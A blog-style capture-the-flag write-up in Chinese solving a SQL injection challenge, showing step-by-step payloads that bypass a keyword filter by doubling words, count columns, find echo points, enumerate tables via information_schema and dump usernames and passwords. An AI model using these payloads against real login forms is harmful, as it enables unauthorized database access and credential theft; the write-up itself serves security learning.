[极客大挑战 2019]BabySQL1

看到题目,应该是sql注入类型先试试万能密码

万能密码,闭合双引号?username=admin&password=admin' or '1'='1

构造payload

这里的提示是 => 做了严格的过滤 => 关键在绕过

/check.php?username=root%27+oorr+1%3D1%3B%23&password=root

查找column的数量

/check.php?username=admin' order by 3%23&password=1 反馈有error

推测by也是有过滤的用`bbyy代替

root = admin' oorrder bbyy 3# => Login Success

root = admin' oorrder bbyy 4# => Error

说明这个table里面有三列数据

下一步就是找到回显点

root = admin' union select 1,2,3

得到error

root => 9' ununionion selselectect 1,2,3#

得到说明column2 + column3 可以作为回显点

root => 9' ununionion selselectect 1,database(),version()#

下一步:利用information_schema.tables爆破有哪些table

root => 9' ununionion selselectect 999,999,group_concat(table_name) from information_schema.tables where table_schema=geek# => Error

root = 9' ununionion selselectect 999,999,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()

猜测flag用到base64

再根据这个三个字段爆破数据

root = 9' ununionion selselectect 999,999,group_concat(id,username,passwoorrd) frfromom b4bsql#

得到flag

复制代码
/check.php?username=9%27+ununionion+selselectect+999%2C999%2Cgroup_concat%28table_name%29+frfromom+infoorrmation_schema.tables+whwhereere+table_schema%3D'geek'%23&password=1
相关推荐
倔强的石头10614 分钟前
连接数失控排查:从数据库会话、应用线程池到连接池泄漏
数据库·oracle
恒拓高科WorkPlus28 分钟前
企业如何搭建安全内部通讯平台|企业内部通讯平台怎么选才更安全?
jvm·数据库·安全
夜雪一千41 分钟前
MySQL如何限制账号权限,最小权限原则实践
数据库·mysql
2601_962056231 小时前
EasyMarkets:“网络安全需求持续升温”
数据库·人工智能
润乾软件1 小时前
SQLazy:合并有重叠的时间区间
数据库·sql·sqlazy
拾光Ծ1 小时前
【MySQL】复合查询、表的连接
java·数据库·sql·mysql
Knight_AL2 小时前
MySQL 递归 CTE:WITH RECURSIVE 用法详解
android·数据库·mysql
行云&流水3 小时前
自动备份mysql数据库
数据库·mysql
IMPYLH3 小时前
HTML 的 <option> 元素
服务器·数据库·html
破芽3 小时前
mysql常用命令查询
数据库·sql·mysql